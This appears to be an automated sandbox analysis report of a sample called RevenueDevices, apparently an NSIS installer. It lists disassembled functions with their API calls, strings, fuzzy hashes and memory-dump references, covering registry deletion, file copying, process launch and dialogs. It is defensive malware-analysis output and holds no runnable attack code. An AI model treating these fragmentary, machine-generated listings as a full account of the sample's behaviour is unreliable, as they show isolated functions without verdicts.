Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.0000000000461000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140316265.00000000004F4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_88_2_400000_RevenueDevices.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
